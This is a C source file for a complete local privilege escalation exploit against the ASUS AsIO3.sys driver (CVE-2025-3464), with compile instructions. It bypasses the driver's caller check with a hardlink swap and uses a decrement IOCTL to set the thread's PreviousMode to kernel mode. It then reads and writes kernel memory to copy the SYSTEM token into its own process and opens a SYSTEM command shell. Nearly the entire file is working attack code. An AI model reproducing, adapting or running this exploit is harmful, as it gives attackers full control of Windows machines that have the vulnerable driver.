/*
 * AsIO3.sys Local Privilege Escalation
 * CVE-2025-3464 (auth bypass) + decrement primitive
 *
 * Combines hardlink TOCTOU bypass with PreviousMode exploitation
 * Result: NT AUTHORITY\SYSTEM shell
 *
 * Compile: x86_64-w64-mingw32-gcc -O2 -o AsIO3_FullExploit.exe AsIO3_FullExploit.c -lntdll -lshlwapi
 */

#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <stdint.h>

#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "ntdll.lib")

// Path must contain "C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe" for wcsstr check!
#define HARDLINK_DIR  L"C:\\Program Files (x86)\\ASUS\\AsusCertService\\"
#define HARDLINK_PATH L"C:\\Program Files (x86)\\ASUS\\AsusCertService\\AsusCertService.exe"
#define ASUSCERT_COPY L"C:\\Users\\Public\\AsusCert_copy.exe"
#define SYNC_EVENT_NAME L"Global\\AsIO3_TOCTOU_Sync"

// IOCTL for decrement primitive
#define IOCTL_DECREMENT_OBJECT 0xA0402450

// Offsets for Windows 10/11 (verify for your version!)
#define KTHREAD_PREVIOUSMODE_OFFSET 0x232
#define KTHREAD_PROCESS_OFFSET      0x220
#define EPROCESS_UNIQUEPROCESSID    0x440
#define EPROCESS_ACTIVEPROCESSLINKS 0x448
#define EPROCESS_TOKEN              0x4B8

#define SystemHandleInformationEx 64

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    void *Object;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX;

typedef struct _DECREMENT_INPUT {
    uint64_t unused1;
    uint64_t unused2;
    HANDLE   section;
    uint64_t unused3;
    void    *object_ptr;
} DECREMENT_INPUT;

typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(ULONG, void*, ULONG, ULONG*);
typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(HANDLE, void*, void*, SIZE_T, SIZE_T*);
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(HANDLE, void*, void*, SIZE_T, SIZE_T*);

static pNtQuerySystemInformation NtQuerySystemInformation;
static pNtReadVirtualMemory NtReadVirtualMemory;
static pNtWriteVirtualMemory NtWriteVirtualMemory;

// ============ NT Functions ============
static int init_nt_functions(void) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll) return 0;
    NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    NtReadVirtualMemory = (pNtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
    return (NtQuerySystemInformation && NtReadVirtualMemory && NtWriteVirtualMemory);
}

// ============ KTHREAD Leak ============
static void *leak_kthread(void) {
    ULONG buffer_size = 0x10000;
    SYSTEM_HANDLE_INFORMATION_EX *handle_info = NULL;
    NTSTATUS status;
    void *kthread = NULL;
    DWORD current_pid = GetCurrentProcessId();
    HANDLE thread_handle;

    if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
                         GetCurrentProcess(), &thread_handle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
        return NULL;
    }

    while (1) {
        handle_info = (SYSTEM_HANDLE_INFORMATION_EX *)malloc(buffer_size);
        if (!handle_info) { CloseHandle(thread_handle); return NULL; }

        status = NtQuerySystemInformation(SystemHandleInformationEx, handle_info, buffer_size, NULL);
        if (status == 0xC0000004) { free(handle_info); buffer_size *= 2; continue; }
        if (status != 0) { free(handle_info); CloseHandle(thread_handle); return NULL; }
        break;
    }

    for (ULONG_PTR i = 0; i < handle_info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX *entry = &handle_info->Handles[i];
        if (entry->UniqueProcessId == current_pid && entry->HandleValue == (ULONG_PTR)thread_handle) {
            kthread = entry->Object;
            break;
        }
    }

    free(handle_info);
    CloseHandle(thread_handle);
    return kthread;
}

// ============ Kernel R/W ============
static int read_kernel_memory(void *address, void *buffer, SIZE_T size) {
    SIZE_T bytes_read;
    return (NtReadVirtualMemory(GetCurrentProcess(), address, buffer, size, &bytes_read) == 0);
}

static int write_kernel_memory(void *address, void *buffer, SIZE_T size) {
    SIZE_T bytes_written;
    return (NtWriteVirtualMemory(GetCurrentProcess(), address, buffer, size, &bytes_written) == 0);
}

// ============ Token Theft ============
static int steal_system_token(void *kthread) {
    uint64_t eprocess, system_token = 0, current_process, system_process = 0;

    if (!read_kernel_memory((void *)((uintptr_t)kthread + KTHREAD_PROCESS_OFFSET), &eprocess, sizeof(eprocess))) {
        printf("[-] Failed to read EPROCESS\n");
        return 0;
    }
    printf("[+] Current EPROCESS: 0x%llX\n", (unsigned long long)eprocess);
    current_process = eprocess;

    uint64_t list_entry = eprocess + EPROCESS_ACTIVEPROCESSLINKS;
    uint64_t first_entry = list_entry;

    do {
        uint64_t flink;
        if (!read_kernel_memory((void *)list_entry, &flink, sizeof(flink))) return 0;
        uint64_t process_entry = flink - EPROCESS_ACTIVEPROCESSLINKS;
        uint64_t pid;
        if (!read_kernel_memory((void *)(process_entry + EPROCESS_UNIQUEPROCESSID), &pid, sizeof(pid))) return 0;
        if (pid == 4) { system_process = process_entry; break; }
        list_entry = flink;
    } while (list_entry != first_entry);

    if (!system_process) { printf("[-] SYSTEM process not found\n"); return 0; }
    printf("[+] SYSTEM EPROCESS: 0x%llX\n", (unsigned long long)system_process);

    if (!read_kernel_memory((void *)(system_process + EPROCESS_TOKEN), &system_token, sizeof(system_token))) return 0;
    printf("[+] SYSTEM token: 0x%llX\n", (unsigned long long)system_token);

    if (!write_kernel_memory((void *)(current_process + EPROCESS_TOKEN), &system_token, sizeof(system_token))) return 0;
    printf("[+] Token replaced!\n");
    return 1;
}

// ============ Decrement Primitive ============
static int decrement_at_address(HANDLE hDevice, void *target_addr) {
    DECREMENT_INPUT input = {0};
    DWORD bytes_returned;
    input.object_ptr = (void *)((uintptr_t)target_addr + 0x30);
    input.section = NULL;

    // Note: DeviceIoControl may return error from ZwUnmapViewOfSection,
    // but ObfDereferenceObject still executes before that - so we ignore errors
    DeviceIoControl(hDevice, IOCTL_DECREMENT_OBJECT, &input, sizeof(input), NULL, 0, &bytes_returned, NULL);
    return 1;
}

// ============ Find AsusCertService ============
static const wchar_t* find_asuscert(void) {
    static const wchar_t *paths[] = {
        L"C:\\Users\\administrator\\AsusCertService.exe",
        L"C:\\Users\\Public\\AsusCertService.exe",
        L"C:\\Program Files\\ASUS\\ARMOURY CRATE Service\\SystemDevicePlugin\\Driver\\AsIO\\AsusCertService.exe",
        L"C:\\Program Files (x86)\\ASUS\\AsusCertService\\AsusCertService.exe"
    };
    for (int i = 0; i < 4; i++) {
        if (GetFileAttributesW(paths[i]) != INVALID_FILE_ATTRIBUTES) return paths[i];
    }
    return NULL;
}

static int is_running_from_hardlink(void) {
    wchar_t exe_path[MAX_PATH];
    GetModuleFileNameW(NULL, exe_path, MAX_PATH);
    return (_wcsicmp(exe_path, HARDLINK_PATH) == 0);
}

// ============ CHILD: Full Exploit ============
static int child_exploit(void) {
    printf("[CHILD] === STAGE 2: Full Privilege Escalation ===\n");
    printf("[CHILD] Running from: %S\n\n", HARDLINK_PATH);

    // Init NT functions
    if (!init_nt_functions()) {
        printf("[-] Failed to init NT functions\n");
        goto fail;
    }

    // Leak KTHREAD
    printf("[*] Leaking KTHREAD...\n");
    void *kthread = leak_kthread();
    if (!kthread) {
        printf("[-] Failed to leak KTHREAD\n");
        goto fail;
    }
    printf("[+] KTHREAD: %p\n", kthread);

    // Wait for parent to swap hardlink
    printf("[*] Waiting for hardlink swap...\n");
    HANDLE hEvent = OpenEventW(SYNCHRONIZE, FALSE, SYNC_EVENT_NAME);
    if (!hEvent) {
        printf("[-] Failed to open sync event: %lu\n", GetLastError());
        goto fail;
    }
    WaitForSingleObject(hEvent, 30000);
    CloseHandle(hEvent);
    printf("[+] Hardlink swapped!\n");

    // Open device (will hash AsusCertService.exe now)
    printf("[*] Opening device...\n");
    HANDLE hDevice = CreateFileW(L"\\\\.\\Asusgio3", GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device: %lu\n", GetLastError());
        goto fail;
    }
    printf("[+] Device opened! Handle: %p\n", hDevice);

    // Decrement PreviousMode
    void *previousmode_addr = (void *)((uintptr_t)kthread + KTHREAD_PREVIOUSMODE_OFFSET);
    printf("[*] Decrementing PreviousMode at %p...\n", previousmode_addr);

    if (!decrement_at_address(hDevice, previousmode_addr)) {
        printf("[-] Failed to decrement\n");
        CloseHandle(hDevice);
        goto fail;
    }
    printf("[+] PreviousMode decremented! Now in KernelMode\n");

    // DEBUG: Skip token theft to test if decrement alone causes crash
   // printf("[DEBUG] Skipping token theft - testing decrement only\n");
   // printf("[DEBUG] If you see this and no crash, decrement worked!\n");
    printf("[DEBUG] Press Enter to continue...\n");
    getchar();

    CloseHandle(hDevice);
    printf("[+] Device closed safely\n");

    // Temporarily disabled for testing:
    #if 1
    // Steal token
    printf("[*] Stealing SYSTEM token...\n");
    if (!steal_system_token(kthread)) {
        printf("[-] Token theft failed\n");
        CloseHandle(hDevice);
        goto fail;
    }
    write_kernel_memory(previousmode_addr, &(UCHAR){1}, sizeof(UCHAR));
    #endif

    // Spawn SYSTEM shell
    printf("\n[+] === PRIVILEGE ESCALATION COMPLETE ===\n");
    printf("[+] Spawning SYSTEM shell...\n\n");

    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE,
                       CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[+] cmd.exe spawned (PID: %lu)\n", pi.dwProcessId);
        printf("[+] Check 'whoami' in the new window!\n\n");
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }

    printf("Press Enter to exit...\n");
    getchar();
    return 0;

fail:
    printf("\n[-] Exploit failed!\n");
    printf("Press Enter to exit...\n");
    getchar();
    return 1;
}

// ============ PARENT: Setup and Swap ============
static int parent_setup(void) {
    wchar_t exe_path[MAX_PATH];
    GetModuleFileNameW(NULL, exe_path, MAX_PATH);

    printf("[PARENT] === STAGE 1: Hardlink TOCTOU Setup ===\n");
    printf("[PARENT] POC path: %S\n\n", exe_path);

    const wchar_t *asuscert = find_asuscert();
    if (!asuscert) {
        printf("[-] AsusCertService.exe not found!\n");
        return 1;
    }
    printf("[+] Found AsusCertService: %S\n", asuscert);

    CopyFileW(asuscert, ASUSCERT_COPY, FALSE);
    printf("[+] Copied to: %S\n", ASUSCERT_COPY);

    HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, SYNC_EVENT_NAME);
    if (!hEvent) {
        printf("[-] Failed to create sync event\n");
        return 1;
    }

    // Create directory structure for path substring match
    CreateDirectoryW(L"C:\\Users\\Public\\ASUS", NULL);
    CreateDirectoryW(HARDLINK_DIR, NULL);

    DeleteFileW(HARDLINK_PATH);
    if (!CreateHardLinkW(HARDLINK_PATH, exe_path, NULL)) {
        printf("[-] Failed to create hardlink: %lu\n", GetLastError());
        CloseHandle(hEvent);
        return 1;
    }
    printf("[+] Created hardlink: %S\n", HARDLINK_PATH);

    printf("[*] Spawning child via hardlink...\n\n");

    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (!CreateProcessW(HARDLINK_PATH, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[-] Failed to spawn child: %lu\n", GetLastError());
        DeleteFileW(HARDLINK_PATH);
        CloseHandle(hEvent);
        return 1;
    }
    printf("[+] Child spawned (PID: %lu)\n", pi.dwProcessId);

    Sleep(2000);  // Give child time to init and wait

    printf("[*] Swapping hardlink...\n");

    // Try to delete the hardlink
    if (!DeleteFileW(HARDLINK_PATH)) {
        DWORD err = GetLastError();
        printf("[!] Delete failed: %lu (trying anyway)\n", err);
    } else {
        printf("[+] Hardlink deleted\n");
    }

    if (!CreateHardLinkW(HARDLINK_PATH, ASUSCERT_COPY, NULL)) {
        DWORD err = GetLastError();
        printf("[-] Failed to recreate hardlink: %lu\n", err);
        SetEvent(hEvent);
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        CloseHandle(hEvent);
        return 1;
    }
    printf("[+] Hardlink now points to AsusCertService!\n");

    printf("[*] Signaling child...\n\n");
    SetEvent(hEvent);

    WaitForSingleObject(pi.hProcess, INFINITE);
    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hEvent);
    DeleteFileW(HARDLINK_PATH);
    DeleteFileW(ASUSCERT_COPY);
    RemoveDirectoryW(HARDLINK_DIR);
    RemoveDirectoryW(L"C:\\Users\\Public\\ASUS");

    if (exitCode == 0) {
        printf("[PARENT] === SUCCESS! ===\n");
    } else {
        printf("[PARENT] Child failed (code: %lu)\n", exitCode);
    }

    return exitCode;
}

int main(void) {
    printf("=============================================\n");
    printf("  AsIO3.sys Full Privilege Escalation\n");
    printf("  CVE-2025-3464 + Decrement Primitive\n");
    printf("=============================================\n\n");

    if (is_running_from_hardlink()) {
        return child_exploit();
    } else {
        return parent_setup();
    }
}